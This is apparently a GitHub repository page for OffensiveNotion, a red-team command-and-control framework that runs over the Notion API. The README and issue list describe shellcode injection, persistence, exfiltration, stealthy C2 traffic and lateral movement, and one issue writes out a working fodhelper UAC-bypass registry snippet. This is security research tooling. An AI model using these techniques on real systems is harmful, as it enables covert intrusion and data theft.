mttaggart/offensivenotion

Notion as a platform for offensive operations

OffensiveNotion

Notion (yes, the notetaking app) as a C2.

---

A collaboration by:

---

Documentation   |   Pull Requests   |   Issues

---

Wait, What?

Yes.

But Why?

What started as a meme grew into a full project. Just roll with it.

Read more!

Here's our blog post about it: We Put A C2 In Your Notetaking App: OffensiveNotion

Features

• 📡 A full-featured C2 platform built on the Notion notetaking app.
• 🚧 Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy!
• 🖥️ Cross-platform agent built in Rust that compiles for Linux, Windows, and macOS with the same code base. Includes a Python setup/controller script to simplify the process.
• ☢️ A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page!
• 📜 Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation.
• 🤝 Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that's a teamserver!
• 📱Mobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world.
• 🕵️‍♀️ Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose.

Quickstart

See the Quickstart guide on how to get going right away!

Documentation

Please see the Wiki for setup, usage, commands, and more!

Thanks & Acknowledgements

This project has been a blast for me! I learned a ton about Rust and how the mechanics of a C2 work. So thank you to my co-creator @mttaggart for helping me along the way. None of this would have been possible without your technical acumen and creativity.

Thank you to Joe Helle (@joehelle) for the POC steps for the fodhelper UAC bypass.

Thank you to all of the great red team devs who came before me, too numerous to list them all, who have created some of my favorite tools. I’m continually inspired by the red dev innovation in our field.

-Husky

As a fairly new security person, I had no idea I'd end up working with such a fantastically talented, kind, and reliable partner and hacker as @HuskyHacks. It's been a true privilege to build this alongside him.

I want to thank the Taggart Tech community for supporting us along the way and always offering helpful feedback. This would not be possible without you all.

-Taggart

Contributors

The dev team would like to thank the following contributors for their work on OffensiveNotion:

Contributor	Contribution
@MEhrn00	Execution guardrails for domain name/joined status 🚀
@hitcxy	Improved shell encoding 🚀

---

Legend
🚀 - Issue/PR submitted and code landed
💡 - Cool ideas
🤔 - Consultation/Inspiration
🐛- Bug submission/fix

Disclaimer

There is no way to make an offensive security relevant research tool and release it open source without the possibility of it falling into the wrong hands. This tool is only to be used for legal, ethical purposes including, but not limited to, research, security assessment, education. The dev team is not responsible for the misuse of this tool by anyone if used for illegal/unethical purposes. No animals were harmed in the making of this code base (although Cosmo keeps climbing on my keyboard and I have to put him over on the couch, which I'm sure must feel like torture to him).

See the LICENSE for more details.

offensivenotion's Issues

[Refactor] Optimize container build

[New Feature] CreateThread Self Injection Option for `inject` (Windows Agent)

Using VirtualAlloc/VirtualProtect/CreateThread/WaitForSingleObject pattern

[Dev] Persistence mechanisms

Come up with a way (ways?!) to persist the agent.

[New Feature] `sysinfo`

Simple command handler that returns a bunch of info on the environment. Can lean heavily on whoami crate. Nothing crazy

prototype:

[New Feature] Portscanner

Ref: https://kerkour.com/rust-fast-port-scanner/

[Refac] Add requirements.txt

[Release] Prep for release

Release binaries, cargo build, xfer to Taggart's profile, check links in wiki, social media posts and launch party

[Bug] Interrupting the install script borks the Dockerfile

If at any point you interrupt the install script, the Dockerfile (which has been SED'd to build the agent in the correct os/build version) gets stuck as the one you set during that build. Easily fixable but annoying.

[Bug] CreateThread kills the Notion agent if there's no handler to catch the shellcode shell

Describe the bug
inject self will kill the Notion agent if the injection happens but no session spawns. If you inject meterpreter shellcode but no multi/handler is up to catch it, for example.

To Reproduce
Host shellcode
Do not run a multi/handler
Perform self injection

Expected behavior
The agent should handle this and exit from the CreateThread injection routine alive.

[New Feature] Upload via Cloud Storage

The basic idea would be to provide auth tokens dynamically to a command that knew how to send data to S3/Azure/DO storage buckets.

Command proposal

upload s3 $token path/to/file

[Dev] Refactor Commands to Modules

command.rs is getting a lil shaggy. Time to break it up into submodules to make adding commands a cleaner experience.

[Refac] Refactor `main.py` to handle macOS build

[Bug] Better check on agent compilation

Check on if compiled agent exists should be more thorough to prevent this:

[New Feature] SCShell/runas (Windows)

[New Feature] Launch Notion in appified browser

For camouflage (and persistence), actually launch the notion site in a browser that's available.

[Documentation] Wiki

https://github.com/HuskyHacks/OffensiveNotion/wiki

Modularize Notion Interaction

Carve out the Notion layer of OffensiveNotion into its own module, allowing the C2 to work on other LOTS channels.

[Refac/New Feature] Robust arg parsing for command `handle` functions

[Release] Damascus 1.2.0

• Wiki pages: config and guardrails
• Edit changelog

[Docs/Wiki] Contribution Guide

A how-to guide for adding things like new commands to the project

[New Feature] `getsystem`

Allow elevation on Windows from High integrity sessions to NT Authority\SYSTEM.

Looking at [this] from SharpDPAPI as inspiration: https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/lib/Helpers.cs#L400

[Documentation/Wiki] Collab Shoutout Section 🤘

Section for recognizing contributors!

• @MEhrn00

[Documentation] Medium Blog Post

[New Feature] `exfil`

For moving data out of the target environment

Crude proto function implemented in b89c5c3

• If file is large, make a sub-page and post to that page
• Pressure test
• Documentation

[Dev] Agent finalization

This ships getting ready to leave the harbor.

Criteria:

• Agent runs with and without -c (either pulls in config or has config set at compile time)
• Debug/verbose mode prints to console
• Release mode builds as GUI (if possible)/does not write to console
• Agent runs Notion.so app mode when executed
• Accounts for major exceptions/no panics during runtime

[New Feature] `config`: now for printing and saving configs!

Similar to sleep and jitter:

• Command returns the current config values to the page if run with no args
• Command changes a config value to something new if passed args

[New Feature] String Encryption

[HeisenBug] Potential bug where agent panics if attempting self delete

Might be a bug when Linux (and maybe macOS) agent attempts to selfdestruct but does not have write access to the directory to be able to manipulate the file. Weird edge case and I can't seem to reproduce it but it did happen that one time

[New Feature] SCShell/Runas

Runas to run in another user's context

[Bug] `main.py` does not check for or confirm the `LAUNCH_APP` config option.

Describe the bug
LAUNCH_APP is one of the config options that should make the application launch the fake Notion page on Windows/Linux. However, the option is never asked for nor seded in the Python build script.

To Reproduce
Steps to reproduce the behavior:

1. Build the agent through the Docker/Python pipeline.
2. Note that the LAUNCH_APP option is never requested.
3. Edit the config.json from the first run to include "LAUNCH_APP": true as a key/value pair.
4. Even with this, the app will not launch because the default is never requested nor changed.

Is Age of Steel a Doctor Who reference?

is it?

[New Feature] Self Destruct

• Delete bin on disk

• Shutdown agent

• (bonus) Overwrite proc memory

[New Feature] Execution Guard Rails (Username, Hostname, Domain/IsDomainJoined)

red team responsibly, kiddos

[New Feature] `maketoken`/`rev2self`

Though it may be a while before SCShell is online, we did accidentally discover the API call patterns required to do token creation and impersonation a la Cobalt Strike.

Ref:
https://github.com/HuskyHacks/RustySCShell/blob/master/src/main.rs#L80

[New Feature] `execute-assembly`

• Loads CLR into app
• Downloads assembly remotely
• Load/execute assembly and return results
• Unload appdomain

Currently looking for help on this one, need a good example of Rust implementation of loading the CLR and FFI for .NET in general

[Idea Board] Paranoid Mode: SSL Stripping

** LONG TERM PROJECT **

Our good friend, president of the Enthusiastic Mollusk Afficianado club himself, @Alh4zr3d, recommended we look into how to mitigate the possibility of SSL proxy/stripping in an environment. This risk is mentioned in passing in the OPSEC section of the Wiki, but not addressed directly.

Some thoughts:

• Though I anticipate that stripping the SSL on the agent's comms will reveal the clear text JSON beneath it, I don't know if that's really the case! We should set up an experiment to do so.
• One approach for this would be that enabling "Paranoid Mode" on the agent would follow all command outputs with one round of AES encryption using a pre-determined key. Then, perhaps the encrypted body is base64 encoded and THEN egresses the network and is posted to the API as one big ol block of B64 characters.
• Then (as a limited POC), the Red Teramer can decode/decrypt manually.
• As a more full feautred POC, a python script on the operator's side can make similar API calls to the Listener page to scan for command blocks with B64, read them off, decode/decrypt, and post the results.

Lots of design space for interesting solutions, and definitely is a lot of work, but I also think it's doable.

[Dev] YARA Rules

Packaged YARA Rules

[Refactor] Refactor `main.py` to do source code sed in container

just like the title says

[Documentation] Update Wiki/Readme

New Commands

• selfdestruct
• inject self

The Dang Old macOS agent

• all the cool stuff (persistence commands, etc)
• Platypus docs

Misc

• New method of starting (docker build and docker run that kicks off main.py within the container)
• Update the Changelog
• Clean main repo README, move v1.0.0 release notes to changelog
• Remove the Last Commit block from the README (I think it gives off the wrong vibe)
• Wiki page on collaboration. (“Team server” in this case is just sharing a notebook out, access Notion from mobile”)

[Documentation] Better Documentation

^^

[New Feature] D/Invoke

[New Feature] Lateral Movement capabilities

Develop lat move capabilities for all OS builds.

Idea board

Win:

• PSRemoting
• PSexec
• SCShell (see other issue)
• WMI remote exec

Lin/macOS:

• SSH

Rando thoughts

Shellcode injection for this is probably off the table (shellcode for the ON agent would be unwieldly and frankly ridiculous)

Likely will use some kind of remote copy primitive to send it to other hosts

(bonus )Any design space for P2P?

[New Feature] macOS agent 👀

[New Feature] Fodhelper windows UAC bypass/elevate

#Registry Command Edit

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value [injection] -Force

#Bypass Execution
Start-Process "C:\Windows\System32\fodhelper.exe"

[Documentation] License

License for the repo, I lean towards MIT

@mttaggart

[New Feature] COFF loader

Integrate a way to load COFF files on the agent to provide a lot more flexibility and functionality to the framework.

Seen someone tried to write BOFs for CS https://github.com/wumb0/rust_bof in Rust.

Other potentially helpful projects:
https://github.com/trustedsec/COFFLoader
https://github.com/Yaxser/COFFLoader2
https://github.com/frkngksl/NiCOFF
https://github.com/d4rckh/nim-coff

[Refactor] Migrate Windows functions to the windows crate

This is a big lift, but once done, the Windows components will be much more ergonomic.

• elevate.rs
• getprivs.rs
• inject.rs
• selfdestruct.rs

[New Feature] User Context Check

Whoami, getprivs, isAdmin

[Misc] DefenderKit

Yara rule + interceptor script to POC a defender takedown of the ON agent.

Working branch is https://github.com/mttaggart/OffensiveNotion/tree/defenderkit and can be developed independent of rest of project

[Refactor] Refac `main.py` to add more control over variable/config setups

There are slight differences between main.py's config setup and the one that occurs if you run the agent with -d. These should be 1-1

• Default cfg.json location
• Launch app? y/n
• Encryption key with default of 'offensivenotion'